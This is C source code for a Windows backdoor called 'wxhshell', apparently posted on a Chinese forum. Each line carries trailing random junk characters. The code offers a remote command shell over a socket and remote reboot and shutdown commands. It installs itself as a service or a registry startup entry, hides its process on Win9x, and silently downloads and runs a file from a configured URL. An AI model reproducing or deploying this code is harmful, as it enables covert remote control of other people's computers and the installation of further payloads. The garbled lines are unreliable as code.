  (hej 3;W  
  // 帮助 r'xZF~}k"~  
  case '?': { QP f*!E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <?'d \B  
    break; O?e38(  
  } % LeG.~?  
  // 安装 $,$bZV  
  case 'i': { K|nh`r   
    if(Install()) = TKu2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yq+'O&+   
    else bb}zn'xC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >+y[HTf-  
    break; rZ`ob x\S  
    } 9r.Os  
  // 卸载 N"SFVc_2  
  case 'r': { |}N -5U  
    if(Uninstall()) Zg1=g_xY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qYFOHu  
    else 0dxEV]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dPplZ,Y%  
    break; |?k3I/;  
    } rOd<nP^`\  
  // 显示 wxhshell 所在路径 FJo  ?~  
  case 'p': { 8qGK"%{ ~  
    char svExeFile[MAX_PATH]; ("-Co,4ey  
    strcpy(svExeFile,"\n\r"); "F?p\I)(  
      strcat(svExeFile,ExeFile); BM5+;h !  
        send(wsh,svExeFile,strlen(svExeFile),0); <$bM*5sHF>  
    break; S}6Ty2.\  
    } ) =-$>75Z  
  // 重启 t}L kl(  
  case 'b': { $SAq/VHI1]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @9_H4V  
    if(Boot(REBOOT)) .4E5{F{~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q\.~cIw_AQ  
    else { x`n$4a'7b  
    closesocket(wsh); 2F9Gx;}t5=  
    ExitThread(0); {3n|=  
    } JDPn   
    break; {a aI<u  
    } <QbD ;(%  
  // 关机 Kn-cwz5  
  case 'd': { "ee:Z_Sz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ybLl[K(D=  
    if(Boot(SHUTDOWN)) R-8>,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6;s.%W  
    else { 50r3Kl0  
    closesocket(wsh); vN#?>aL  
    ExitThread(0); 0#1hkJ"  
    } M)4-eo  
    break; ~q]@Jp  
    } -]yM<dP  
  // 获取shell 8R?X$=$]!.  
  case 's': { "Bl ]_YPv  
    CmdShell(wsh); ;e,_F/@`  
    closesocket(wsh); q.sErr[zc  
    ExitThread(0); tt5t(+5j  
    break; 9e|-sn  
  } Ze+p;v  
  // 退出 |@'/F#T  
  case 'x': {  I/YBL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8@;|x2=y  
    CloseIt(wsh); k1Z"Qmz  
    break; f_A'.oq+  
    } }AfX0[!O  
  // 离开 qw^kA?  
  case 'q': { cGF_|1`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wEd+Ds]$  
    closesocket(wsh); sG-$d\ 1d  
    WSACleanup(); 8<V6W F`e  
    exit(1);  NGQBOV  
    break; A|jmp~@K)+  
        } XC 44]o4jx  
  } '-9B`O,&  
  } #snwRW>=[  
Xwz9E!m  
  // 提示信息 fny|^F]w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pJ8;7u  
} U\OfB'Dn  
  } z+3G zDLy  
HURr k~[  
  return; iCd$gwA>F  
} Pw c)u&  
d^uE4F}  
// shell模块句柄 ,Dh+-}  
int CmdShell(SOCKET sock) KX8$j$yW  
{ FPAy.cljJ  
STARTUPINFO si; `FS)i7-o6  
ZeroMemory(&si,sizeof(si)); ?\ Fo|__  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yFt$L'#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )?_x$GKY  
PROCESS_INFORMATION ProcessInfo; `D *U@iJ  
char cmdline[]="cmd"; _8zZ.~)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T}fH  
  return 0; Nf@-i`  
} dKk\"6 o  
*=G~26*!V  
// 自身启动模式 wWq(|"  
int StartFromService(void) jLc"1+  
{ &Bn> YFu  
typedef struct + t%[$"$  
{ @34Z/%A  
  DWORD ExitStatus; !+bLh W`  
  DWORD PebBaseAddress; m .:2G  
  DWORD AffinityMask; h\qQ%|X  
  DWORD BasePriority; Cu2eMUGt  
  ULONG UniqueProcessId; Y9}5&#  
  ULONG InheritedFromUniqueProcessId; ~vL7$-:  
}   PROCESS_BASIC_INFORMATION; ^wnlZ09J  
%w9/ gD  
PROCNTQSIP NtQueryInformationProcess; Z"ce1cB  
k[_)5@2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vI84= n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W~" 'a9H/  
gteG*pi  
  HANDLE             hProcess; 8]G  
  PROCESS_BASIC_INFORMATION pbi; U2hPsF4f  
#:q$sKQ_$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FJI%+$]  
  if(NULL == hInst ) return 0; D./!/>@f  
rN$U%\.I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W#|30RU.G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .( )rb y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); " pZvV0'  
dSdP]50M  
  if (!NtQueryInformationProcess) return 0; dWR-}>  
5Q/&,NP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !UzMuGj  
  if(!hProcess) return 0; 8%+F.r  
3bWYRW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B|fh 4FNy  
v d{`*|x  
  CloseHandle(hProcess); ;FQ<4PR$  
k 4HE'WY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S*aMUV&  
if(hProcess==NULL) return 0; W't?aj I|  
K^z u{`S  
HMODULE hMod; i>*|k]  
char procName[255]; wSV}{9}wr%  
unsigned long cbNeeded; /JcfAY  
~8oti4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8D H~~by  
Sa8KCWgWh  
  CloseHandle(hProcess); U{`Q_Uw@$:  
7%MD0qm-  
if(strstr(procName,"services")) return 1; // 以服务启动 e7O9q8b  
MbT;]Bo  
  return 0; // 注册表启动 p1BMQ?=($  
} MBIlt 1P  
tfAO#htq  
// 主模块 LMGo8%2I  
int StartWxhshell(LPSTR lpCmdLine) Q<c{$o  
{ SlaHhq3  
  SOCKET wsl; pYRqV  
BOOL val=TRUE; `d,v  
  int port=0; -22]|$f  
  struct sockaddr_in door; eb#yCDIC   
L2 ybL#dz  
  if(wscfg.ws_autoins) Install(); nO\c4#ce  
6x.ZS'y  
port=atoi(lpCmdLine); e=H,|)P  
hx.ln6=4  
if(port<=0) port=wscfg.ws_port; `GpOS_;  
On`T pz/  
  WSADATA data; :-[y`/R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hvFXYq_[O  
DN X-\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [^D~T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #F^0uUjq  
  door.sin_family = AF_INET; ~K 2.T7=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m)1+D"z  
  door.sin_port = htons(port); f{HjM? Mb3  
S - N [  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uHQf<R$:  
closesocket(wsl); u3k{s  
return 1; W"meH~[Cp  
} Gi+ZI{)  
W2`/z)[*>  
  if(listen(wsl,2) == INVALID_SOCKET) { yKhN1kY  
closesocket(wsl); /cXVJ(#j  
return 1; {CaTu5\  
} ZzO^IZKlC  
  Wxhshell(wsl); fep8hf B;  
  WSACleanup(); fxOa(mt  
RxB9c(s^@  
return 0; C$x r)_  
$[6]Ly(F)  
} J$>9UC k7B  
k|r|*|8  
// 以NT服务方式启动 /QW-#K|S&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xX:N-  
{ B)`@E4i  
DWORD   status = 0; N?3BzI%?  
  DWORD   specificError = 0xfffffff; AzZb0wW6p  
q(XO_1W0V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oro^'#ki  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DkA@KS1Dq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +oRBSAg-  
  serviceStatus.dwWin32ExitCode     = 0; v;ZIqn"  
  serviceStatus.dwServiceSpecificExitCode = 0; sQ aP:@  
  serviceStatus.dwCheckPoint       = 0; X4$86  
  serviceStatus.dwWaitHint       = 0; 1 k\~%  
uLq%Nu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~gi,ky^!  
  if (hServiceStatusHandle==0) return; (Do](C  
cYx.<b JH  
status = GetLastError(); @s % !R  
  if (status!=NO_ERROR) Q1 5h \!u  
{ it)!-[:bm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )KbzgmLr  
    serviceStatus.dwCheckPoint       = 0; 3$n O@rOS  
    serviceStatus.dwWaitHint       = 0; aWk1D.  
    serviceStatus.dwWin32ExitCode     = status; >"|"Gy (  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^fqco9^;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y{#9&ct&  
    return; \\(3gB.Gd  
  } B.Y8O^rx  
YcdT/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }1BpIqee  
  serviceStatus.dwCheckPoint       = 0; 2PDU(R  
  serviceStatus.dwWaitHint       = 0; ~a06x^=j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k.6gX<T  
} o/\f+iz7  
5)=YTUCk  
// 处理NT服务事件,比如:启动、停止 XNaiMpp'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ><DXT nt'x  
{ >0AVs6&;v  
switch(fdwControl) +6;1.5Tc  
{ 3q)y;T\yW  
case SERVICE_CONTROL_STOP: P/Zp3O H  
  serviceStatus.dwWin32ExitCode = 0; g+pj1ycw/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,b'QL6>`  
  serviceStatus.dwCheckPoint   = 0; )2&y;{]  
  serviceStatus.dwWaitHint     = 0; 6483v'  
  { caD|*.b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ \3j{pr  
  } nJr:U2d  
  return; &<$YR~g5j$  
case SERVICE_CONTROL_PAUSE: /s[D[:P_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1MYA/l$  
  break; TO]7%aB  
case SERVICE_CONTROL_CONTINUE: 9~|hGo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PCX X[N  
  break; h 7  c  
case SERVICE_CONTROL_INTERROGATE: .[:2M9Rx  
  break; bKac?y~S_  
}; U6Xi-@XP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #7BX,jvn>  
} H+?@LPV*N  
\agT#tT J  
// 标准应用程序主函数 h/xV;oj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z_WJgH2c  
{ XM:Y(#?l  
qGhwbg  
// 获取操作系统版本 ]s>y se  
OsIsNt=GetOsVer(); 17) `CM$<[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cp!Qd e  
8=DZ;]XD.  
  // 从命令行安装 `CqF&b  
  if(strpbrk(lpCmdLine,"iI")) Install(); (>M@Ukam:  
sV$Zf `X)  
  // 下载执行文件 lCxPR'C|  
if(wscfg.ws_downexe) { 4VI'd|Ed  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *'\ xlsp#  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tq,xW  
} "Cn<x\E b  
jImw_Q  
if(!OsIsNt) { N}X7g0>hV  
// 如果时win9x,隐藏进程并且设置为注册表启动 %WO4uOi:@  
HideProc(); #4wia%}u  
StartWxhshell(lpCmdLine);  r NT>{  
} a8v9j3.  
else f6U i~  
  if(StartFromService()) a F5=k: k  
  // 以服务方式启动 vI5'npM  
  StartServiceCtrlDispatcher(DispatchTable); Tp&7CNl|  
else tXW7G@  
  // 普通方式启动 z8*{i]j  
  StartWxhshell(lpCmdLine); mgI7zJX  
AEO7I f@  
return 0; $G D@e0  
}
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只看该作者 1 发表于: 2006-10-10
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